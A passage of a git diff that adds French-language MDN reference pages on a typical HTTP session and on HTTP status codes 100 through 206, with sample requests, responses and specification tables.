+   <td><code>Report-To</code> header</td>
+   <td>Draft</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-expect-ct-01">Draft spec</a></td>
+   <td>Expect-CT Extension for HTTP</td>
+   <td>IETF Draft</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/http/session/index.html b/files/fr/web/http/session/index.html
new file mode 100644
index 0000000000..d0a0d231de
--- /dev/null
+++ b/files/fr/web/http/session/index.html
@@ -0,0 +1,167 @@
+---
+title: Une session HTTP typique
+slug: Web/HTTP/Session
+tags:
+  - HTTP
+  - Session
+  - Session HTTP
+translation_of: Web/HTTP/Session
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Dans les protocoles client-serveur, comme HTTP, les sessions se composent de trois phases :</p>
+
+<ol>
+ <li><span id="result_box" lang="fr"><span>Le client établit une connexion TCP (ou la connexion appropriée si la couche de transport n'est pas TCP).</span></span></li>
+ <li><span class="short_text" id="result_box" lang="fr"><span>Le client envoie sa requête et attend la réponse.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Le serveur traite la requête, renvoyant sa réponse, fournissant un code d'état et des données appropriées.</span></span></li>
+</ol>
+
+<p><span id="result_box" lang="fr"><span>À partir de HTTP / 1.1, la connexion n'est plus fermée après avoir terminé la troisième phase, et le client peut à nouveau effectuer une requête : cela signifie que la deuxième et la troisième phases peuvent maintenant être effectuées à tout moment.</span></span></p>
+
+<h2 id="Établir_une_connexion"><span class="short_text" id="result_box" lang="fr"><span>Établir une connexion</span></span></h2>
+
+<p><span id="result_box" lang="fr"><span>Dans les protocoles client-serveur, c'est le client qui établit la connexion.</span> <span>L'ouverture d'une connexion en HTTP signifie l'initiation d'une connexion dans la couche de transport sous-jacente, généralement TCP.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Avec TCP, le port par défaut, pour un serveur HTTP sur un ordinateur, est le port 80. D'autres ports peuvent également être utilisés, comme 8000 ou 8080. L'URL d'une page à récupérer contient à la fois le nom de domaine et le numéro de port,</span> <span>Ce dernier peut être omis s'il en est à 80. Voir </span></span><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a> pour plus de details.</p>
+
+<div class="note"><strong>Note:</strong> <span id="result_box" lang="fr"><span>Le modèle client-serveur n'autorise pas le serveur à envoyer des données au client sans une demande explicite.</span> <span>Pour contourner ce problème, les développeurs Web utilisent plusieurs techniques: effectuer un ping sur le serveur périodiquement via le</span></span> {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} <span class="short_text" id="result_box" lang="fr"><span>API, en utilisant le HTML</span></span> <a href="/fr/WebSockets" title="en/WebSockets">WebSockets API</a>, <span class="short_text" id="result_box" lang="fr"><span>ou des protocoles similaires.</span></span></div>
+
+<h2 id="Envoi_d'une_demande_client"><span class="short_text" id="result_box" lang="fr"><span>Envoi d'une demande client</span></span></h2>
+
+<p><span id="result_box" lang="fr"><span>Une fois la connexion établie, l'agent utilisateur peut envoyer la demande (un agent utilisateur est généralement un navigateur Web, mais peut être autre chose, un robot d'exploration, par exemple).</span> <span>Une demande de client consiste en des directives de texte, séparées par CRLF (retour de chariot, suivi d'une alimentation en ligne), divisé en trois blocs :</span></span></p>
+
+<ol>
+ <li><span id="result_box" lang="fr"><span>La première ligne contient une méthode de demande suivie de ses paramètres:</span></span>
+
+  <ul>
+   <li><span id="result_box" lang="fr"><span>le chemin d'accès du document, c'est-à-dire une URL absolue sans le protocole ou le nom de domaine</span></span></li>
+   <li><span class="short_text" id="result_box" lang="fr"><span>la version du protocole HTTP</span></span></li>
+  </ul>
+ </li>
+ <li><span id="result_box" lang="fr"><span>Les lignes subséquentes représentent un en-tête HTTP, ce qui donne aux informations du serveur quel type de données est approprié (par exemple, quelle langue, quels types MIME) ou d'autres données modifient son comportement (par exemple, ne pas envoyer de réponse s'il est déjà mis en cache).</span> <span>Ces en-têtes HTTP forment un bloc qui se termine par une ligne vide.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Le bloc final est un bloc de données facultatif, qui peut contenir d'autres données principalement utilisées par la méthode POST.</span></span></li>
+</ol>
+
+<h3 id="Demandes_d'exemple"><span class="short_text" id="result_box" lang="fr"><span>Demandes d'exemple</span></span></h3>
+
+<p><span id="result_box" lang="fr"><span>Obtenir la page racine de developer.mozilla.org, c'est-à-dire <a href="https://developer.mozilla.org">http://developer.mozilla.org/</a>, et dire au serveur que l'utilisateur-agent préférerait la page en français si possible :</span></span></p>
+
+<pre>GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+
+</pre>
+
+<p><span id="result_box" lang="fr"><span>Observez cette dernière ligne vide, ceci sépare le bloc de données du bloc d'en-tête.</span> <span>Comme il n'y a pas de</span></span> <code>Content-Length</code> <span id="result_box" lang="fr"><span>fourni dans un en-tête HTTP, ce bloc de données est présenté vide, marquant la fin des en-têtes, permettant au serveur de traiter la demande le moment où elle reçoit cette ligne vide.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Par exemple, en envoyant le résultat d'un formulaire :</span></span></p>
+
+<pre>POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Joe%20User&amp;request=Send%20me%20one%20of%20your%20catalogue
+</pre>
+
+<h3 id="Méthodes_de_demande"><span class="short_text" id="result_box" lang="fr"><span>Méthodes de demande</span></span></h3>
+
+<p>HTTP définit un ensemble de <a href="/fr/docs/HTTP/Méthode">méthodes de requête</a> indiquant l'action souhaitée à effectuer sur une ressource. Bien qu'ils puissent également être des noms, ces méthodes de requêtes sont parfois appelées verbes HTTP. Les requêtes les plus courantes sont <code>GET</code> et <code>POST</code> :</p>
+
+<ul>
+ <li><span id="result_box" lang="fr"><span>La méthode {{HTTPMethod ("GET")}} demande une représentation de données de la ressource spécifiée.</span> <span>Les requêtes utilisant <code>GET</code> ne doivent que récupérer les données.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>La méthode {{HTTPMethod ("POST")}} envoie des données à un serveur afin qu'il puisse changer son état.</span> <span>C'est la méthode souvent utilisée pour les <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a>.</span></span></li>
+</ul>
+
+<h2 id="Structure_d'une_réponse_du_serveur">Structure d'une réponse du serveur</h2>
+
+<p>Une fois que l'agent connecté a envoyé sa requête, le serveur Web le traite et finalement renvoie une réponse. Similaire à une demande de client, une réponse de serveur est formée de directives de texte, séparées par <a href="/fr/docs/Glossaire/CRLF">CRLF</a>, mais divisées en trois blocs :</p>
+
+<ol>
+ <li>
+  <div id="gt-res-content">
+  <div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="fr"><span>La première ligne, <em>la ligne d'état</em>, consiste en une reconnaissance de la version HTTP utilisée, suivie d'une demande d'état (et sa brève signification dans un texte lisible par l'homme).</span></span></div>
+  </div>
+ </li>
+ <li><span id="result_box" lang="fr"><span>Les lignes suivantes représentent des en-têtes HTTP spécifiques, en donnant aux clients des informations sur les données envoyées (par exemple, type, taille de données, algorithme de compression utilisé, conseils sur la mise en cache).</span> <span>De la même manière que le bloc d'en-têtes HTTP pour une demande de client, ces en-têtes HTTP forment un bloc se terminant par une ligne vide.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Le dernier bloc est un bloc de données, qui contient les données facultatives.</span></span></li>
+</ol>
+
+<h3 id="Examples_de_réponses">Examples de réponses</h3>
+
+<p><span class="short_text" id="result_box" lang="fr"><span>Réponse réussie de la page Web :</span></span></p>
+
+<pre>HTTP/1.1 <strong>200 OK</strong>
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <em><strong>(here comes the 29769 bytes of the requested web page)</strong></em>
+
+</pre>
+
+<p><span id="result_box" lang="fr"><span>Notification selon laquelle la ressource demandée a été définitivement déplacé ( en permanence ) :</span></span></p>
+
+<pre>HTTP/1.1 <strong>301 Moved Permanently</strong>
+Server: Apache/2.2.3 (Red Hat)
+Content-Type: text/html; charset=iso-8859-1
+Date: Sat, 09 Oct 2010 14:30:24 GMT
+Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(this is the</em><em> new link to the resource; it is expected that the user-agent will fetch it)</em></strong>
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+X-Cache-Info: caching
+X-Cache-Info: caching
+Content-Length: 325 <em>(<strong>the content contains a default page to display if the user-agent is not able to follow the link)</strong></em>
+
+&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
+&lt;html&gt;&lt;head&gt;
+&lt;title&gt;301 Moved Permanently&lt;/title&gt;
+&lt;/head&gt;&lt;body&gt;
+&lt;h1&gt;Moved Permanently&lt;/h1&gt;
+&lt;p&gt;The document has moved &lt;a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>"&gt;here&lt;/a&gt;.&lt;/p&gt;
+&lt;hr&gt;
+&lt;address&gt;Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80&lt;/address&gt;
+&lt;/body&gt;&lt;/html&gt;
+
+</pre>
+
+<p><span id="result_box" lang="fr"><span>Notification selon laquelle la ressource demandée n'existe pas :</span></span></p>
+
+<pre>HTTP/1.1 <strong>404 Not Found</strong>
+Date: Sat, 09 Oct 2010 14:33:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 May 2007 14:24:39 GMT
+ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
+Accept-Ranges: bytes
+Content-Length: 10732
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <strong><em>(contains a site-customized page helping the user to find the missing resource)</em></strong>
+
+</pre>
+
+<h3 id="Codes_d'état_de_réponse"><span class="short_text" id="result_box" lang="fr"><span>Codes d'état de réponse</span></span></h3>
+
+<p><span id="result_box" lang="fr"><span><a href="/fr/docs/Web/HTTP/Status">Les codes d'état de réponse HTTP</a> indiquent si une requête HTTP spécifique a été effectuée avec succès.</span> <span>Les réponses sont regroupées en cinq classes: réponses d'information, réponses réussies, redirections, erreurs de client et erreurs de serveurs.</span></span></p>
+
+<ul>
+ <li>{{HTTPStatus(200)}}: OK. <span class="short_text" id="result_box" lang="fr"><span>La demande a réussi.</span></span></li>
+ <li>{{HTTPStatus(301)}}: Moved Permanently. <span id="result_box" lang="fr"><span>Ce code de réponse signifie que l'URL de la ressource demandée a été modifiée.</span></span></li>
+ <li>{{HTTPStatus(404)}}: Not Found. <span id="result_box" lang="fr"><span>Le serveur ne peut pas trouver la ressource demandée.</span></span></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a> (en anglais)</li>
+ <li><a href="/fr/docs/Web/HTTP/Headers">En-têtes HTTP</a></li>
+ <li><a href="/fr/docs/HTTP/Méthode">Méthode de requête HTTP</a></li>
+ <li><a href="/fr/docs/Web/HTTP/Status">Codes de réponse HTTP</a></li>
+</ul>
diff --git a/files/fr/web/http/status/100/index.html b/files/fr/web/http/status/100/index.html
new file mode 100644
index 0000000000..cadae4b22e
--- /dev/null
+++ b/files/fr/web/http/status/100/index.html
@@ -0,0 +1,46 @@
+---
+title: 100 Continue
+slug: Web/HTTP/Status/100
+tags:
+  - Code de statut
+  - HTTP
+  - Informational
+translation_of: Web/HTTP/Status/100
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <strong><code>100 Continue</code></strong> indique que, jusqu'à présent, tout est normal (OK) et que le client doit poursuivre avec la requête ou l'ignorer si celle-ci est déjà finie.</p>
+
+<p>Afin que le serveur vérifie les en-têtes des requêtes, un client doit envoyer {{HTTPHeader("Expect")}} : <code>100-continue</code> comme en-tête dans la requête initiale et recevoir le code de statut  <code>100 Continue</code> comme réponse avant d'envoyer le corps de la requête.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">100 Continue</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "100")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+ <li>{{HTTPStatus(417)}}</li>
+</ul>
diff --git a/files/fr/web/http/status/101/index.html b/files/fr/web/http/status/101/index.html
new file mode 100644
index 0000000000..7f8aa0307e
--- /dev/null
+++ b/files/fr/web/http/status/101/index.html
@@ -0,0 +1,51 @@
+---
+title: 101 Switching Protocol
+slug: Web/HTTP/Status/101
+tags:
+  - Code de statut
+  - HTTP
+  - Informatif
+  - Reference
+  - WebSockets
+translation_of: Web/HTTP/Status/101
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse HTTP <code><strong>101 Switching Protocol</strong></code> indique que le protocole a changé, comme demandé par le client via l'en-tête {{HTTPHeader("Upgrade")}}.</p>
+
+<p>Le serveur envoie alors une réponse avec un en-tête {{HTTPHeader("Upgrade")}} qui indique le nouveau protocole utilisé.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">101 Switching Protocol</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les changements de protocole peuvent être utilisés avec <a href="/fr/docs/WebSockets">WebSockets</a>.</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebSockets">WebSockets</a></li>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("426")}}<code> Upgrade Required</code></li>
+</ul>
diff --git a/files/fr/web/http/status/103/index.html b/files/fr/web/http/status/103/index.html
new file mode 100644
index 0000000000..cc3acded03
--- /dev/null
+++ b/files/fr/web/http/status/103/index.html
@@ -0,0 +1,47 @@
+---
+title: 103 Early Hints
+slug: Web/HTTP/Status/103
+tags:
+  - HTTP
+  - Reference
+  - Statut
+translation_of: Web/HTTP/Status/103
+---
+<p>{{HTTPSidebar}}{{Draft}}</p>
+
+<p>Le code de statut de réponse  <strong><code>103 Early Hints</code></strong> est principalement utilisé avec l'en-tête HTTP {{HTTPHeader("Link")}} afin de permettre à l'application cliente de commencer le chargement des ressources tandis que le serveur prépare une réponse.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">103 Early Hints</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table" style="height: 82px; width: 852px;">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC(8297, "103 Early Hints")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td>Première version</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("http.status.103")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Link")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/200/index.html b/files/fr/web/http/status/200/index.html
new file mode 100644
index 0000000000..4d757877e4
--- /dev/null
+++ b/files/fr/web/http/status/200/index.html
@@ -0,0 +1,53 @@
+---
+title: 200 OK
+slug: Web/HTTP/Status/200
+tags:
+  - Code de statut
+  - HTTP
+translation_of: Web/HTTP/Status/200
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <strong><code>200 OK</code></strong> indique la réussite d'une requête. Une réponse 200 peut être mise en cache par défaut.</p>
+
+<p>La signification de la réussite dépend de la méthode de requête HTTP :</p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}} : la ressource a été récupérée et est transmise dans le corps du message.</li>
+ <li>{{HTTPMethod("HEAD")}} : l'en-tête entier est dans le corps du message.</li>
+ <li>{{HTTPMethod("POST")}} : la ressource qui décrit le résultat d'une action est transmise dans le corps du message.</li>
+ <li>{{HTTPMethod("TRACE")}} : le corps du message contient le message de requête reçu par le serveur.</li>
+</ul>
+
+<p>La plupart du temps, le résultat d'une requête réussie avec la méthode {{HTTPMethod("PUT")}} ou  {{HTTPMethod("DELETE")}} n'est pas <code>200</code> <code>OK</code> mais plutôt {{HTTPStatus("204")}} <code>No Content</code> (ou {{HTTPStatus("201")}} <code>Created</code> lorsque la ressource est envoyée pour la première fois).</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">200 OK</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "200")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Methods">Les verbes utilisés pour les méthodes HTTP</a></li>
+</ul>
diff --git a/files/fr/web/http/status/201/index.html b/files/fr/web/http/status/201/index.html
new file mode 100644
index 0000000000..70f0336336
--- /dev/null
+++ b/files/fr/web/http/status/201/index.html
@@ -0,0 +1,45 @@
+---
+title: 201 Created
+slug: Web/HTTP/Status/201
+tags:
+  - Code de statut
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/201
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut HTTP <strong><code>201 Created</code></strong> indique que la requête a réussi et qu'une ressource a été créée en conséquence. La nouvelle ressource est effectivement créée avant que la réponse soit renvoyée et cette nouvelle ressource est renvoyée dans le corps du message. Son emplacement est indiqué par l'URL de la requête ou est contenu dans l'en-tête {{HTTPHeader("Location")}}.</p>
+
+<p>Généralement, ce code de statut est obtenu suite à une requête utilisant la méthode {{HTTPMethod("POST")}}.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">201 Created</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "201")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Methods">Les verbes utilisés pour les méthodes HTTP</a></li>
+</ul>
diff --git a/files/fr/web/http/status/202/index.html b/files/fr/web/http/status/202/index.html
new file mode 100644
index 0000000000..199daa9a97
--- /dev/null
+++ b/files/fr/web/http/status/202/index.html
@@ -0,0 +1,37 @@
+---
+title: 202 Accepted
+slug: Web/HTTP/Status/202
+tags:
+  - Code de statut
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/202
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <code><strong>202</strong></code><strong><code> Accepted</code></strong> indique que la requête a été reçue mais qu'aucune action n'a encore été entreprise. Cette réponse est sans suite (<em>non-committal</em>) : HTTP ne renverra pas de réponse asynchrone ultérieure pour indiquer le résultat du traitement de la requête. Ce code est utile pour les cas où c'est un autre processus ou serveur qui gère la requête (ou lorsqu'on effectue un traitement en masse).</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">202 Accepted</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/203/index.html b/files/fr/web/http/status/203/index.html
new file mode 100644
index 0000000000..0daa15e15f
--- /dev/null
+++ b/files/fr/web/http/status/203/index.html
@@ -0,0 +1,41 @@
+---
+title: 203 Non-Authoritative Information
+slug: Web/HTTP/Status/203
+tags:
+  - Code de statut
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/203
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <strong><code>203 Non-Authoritative Information</code></strong> indique que la requête a réussi mais que le contenu a été modifié entre la réponse {{HTTPStatus("200")}} (<code>OK</code>)  du serveur original par un {{Glossary("Proxy server", "proxy")}} transformant.</p>
+
+<p>La réponse 203 est similaire au code d'en-tête <a href="/fr/docs/Web/HTTP/Headers/Warning#Warning_codes"><code>214</code> (Transformation Applied)</a> {{HTTPHeader("Warning")}}, qui a l'avantage d'être applicable à tout code de statut.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">203 Non-Authoritative Information</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("200")}}</li>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Warning")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/204/index.html b/files/fr/web/http/status/204/index.html
new file mode 100644
index 0000000000..863194b79d
--- /dev/null
+++ b/files/fr/web/http/status/204/index.html
@@ -0,0 +1,44 @@
+---
+title: 204 No Content
+slug: Web/HTTP/Status/204
+tags:
+  - Code de statut
+  - HTTP
+translation_of: Web/HTTP/Status/204
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <strong><code>204 No Content</code></strong> indique que la requête a réussi mais que le client n'a pas besoin de quitter la page actuelle. Par défaut, une réponse 204 peut être mise en cache. Un en-tête {{HTTPHeader("ETag")}} est inclus pour ce type de réponse.</p>
+
+<p>Généralement, ce code est renvoyé lorsque le résultat d'une requête {{HTTPMethod("PUT")}} et qu'une ressource est mise à jour, sans modifier le contenu actuel de la page affichée à l'utilisateur. Si la ressource est créée, c'est le code de statut {{HTTPStatus("201")}} <code>Created</code> qui sera renvoyé à la place. Si la page doit être actualisée avec une nouvelle page mise à jour, c'est le code de statut {{HTTPStatus("200")}} qui doit être utilisé à la place.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">204 No Content</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "204")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Methods">Les verbes utilisés pour les méthodes HTTP</a></li>
+</ul>
diff --git a/files/fr/web/http/status/205/index.html b/files/fr/web/http/status/205/index.html
new file mode 100644
index 0000000000..d85c53b4a5
--- /dev/null
+++ b/files/fr/web/http/status/205/index.html
@@ -0,0 +1,37 @@
+---
+title: 205 Reset Content
+slug: Web/HTTP/Status/205
+tags:
+  - Code de statut
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/205
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <strong><code>205 Reset Content</code></strong> indique au client de réinitialiser la vue du document, par exemple afin de nettoyer le contenu d'un formulaire, réinitialiser l'état d'un canevas ({{HTMLElement("canvas")}}, ou pour mettre à jour l'interface utilisateur.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">205 Reset Content</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus(204)}} No Content</li>
+</ul>
diff --git a/files/fr/web/http/status/206/index.html b/files/fr/web/http/status/206/index.html
new file mode 100644
index 0000000000..12adb6267d
--- /dev/null
+++ b/files/fr/web/http/status/206/index.html
@@ -0,0 +1,82 @@
+---
+title: 206 Partial Content
+slug: Web/HTTP/Status/206
+tags:
+  - Code de statut
+  - HTTP
+translation_of: Web/HTTP/Status/206
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse succès HTTP <strong><code>206 Partial Content</code></strong> indique que la requête a bien abouti et que le corps de la réponse contient les plages de données demandées, tel que décrit dans l'en-tête {{HTTPHeader("Range")}} de la requête.</p>
+
+<p>S'il n'y a qu'une seule plage, l'entête {{HTTPHeader("Content-Type")}} de la réponse correspondra au type du document et l'en-tête {{HTTPHeader("Content-Range")}} sera fourni.</p>
+
+<p>Si plusieurs plages sont renvoyées, l'en-tête {{HTTPHeader("Content-Type")}} vaudra <code>multipart/byteranges</code> et chaque fragment couvrira une plage, décrite par les en-têtes {{HTTPHeader("Content-Range")}} et {{HTTPHeader("Content-Type")}}.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">206 Partial Content</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Une réponse qui contient une seule plage :</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Range: bytes 21010-47021/47022
+Content-Length: 26012
+Content-Type: image/gif
+
+... 26012 bytes of partial image data ...</pre>
+
+<p>Une réponse qui contient plusieurs plages :</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Length: 1741
+Content-Type: multipart/byteranges; boundary=String_separator
+
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 234-639/8000
+
+...la première plage...
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 4590-7999/8000
+
+...La seconde plage
+--String_separator--</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
